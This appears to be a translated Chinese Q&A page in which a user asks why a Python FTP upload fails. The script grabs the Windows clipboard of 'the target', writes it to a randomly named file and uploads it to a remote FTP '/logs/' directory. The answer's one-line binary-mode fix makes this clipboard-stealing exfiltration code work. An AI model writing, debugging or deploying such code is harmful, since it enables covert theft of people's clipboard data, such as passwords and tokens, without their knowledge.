通过ftp python发送文件内容

时间:2016-06-09 22:11:11

标签: python ftp

我有这个Python脚本

 import os 
 import random 
 import ftplib 
 from tkinter import Tk 

 # now, we will grab all Windows clipboard data, and put to var 
 clipboard = Tk().clipboard_get() 
 # print(clipboard) 
 # this feature will only work if a string is in the clipboard. not files.
 # so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something 
 # then it would come back an error, and the rest of the script would come back false (therefore shutdown) 

 random_num = random.randrange(100, 1000, 2) 
 random_num_2 = random.randrange(1, 9999, 5) 
 filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt" 
 file = open(filename, 'w') # clears file, or create if not exist 
 file.write(clipboard) # write all contents of var "foo" to file 
 file.close() # close file after printing 

 # let's send this file over ftp 
 session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password') 
 session.cwd('//logs//') # move to correct directory 
 f = open(filename, 'r') 
 session.storbinary('STOR ' + filename, f) 
 f.close() 
 session.quit() 

该文件将Python脚本创建的内容(在变量“filename”下,例如:“capture_clip5704061.txt”)发送到我的FTP服务器,尽管本地系统上的文件内容不等于FTP服务器。如您所见,我使用ftplib模块。这是我的错误:

 Traceback (most recent call last): 
 File "script.py", line 33, in<module> 
 session.storbinary('STOR ' + filename, f) 
 File "C:\Users\willi\AppData\Local\Programs\Python\Python36\lib\ftplib.py", line 507, in storbinary
 conn.sendall(buf) 
 TypeError: a bytes-like object is required, not 'str' 

1 个答案:

答案 0 :(得分:0)

您的库希望文件以二进制模式打开,它会出现。请尝试以下方法:

f = open(filename, 'rb')

这确保从文件读取的数据是bytes对象而不是str(对于文本)。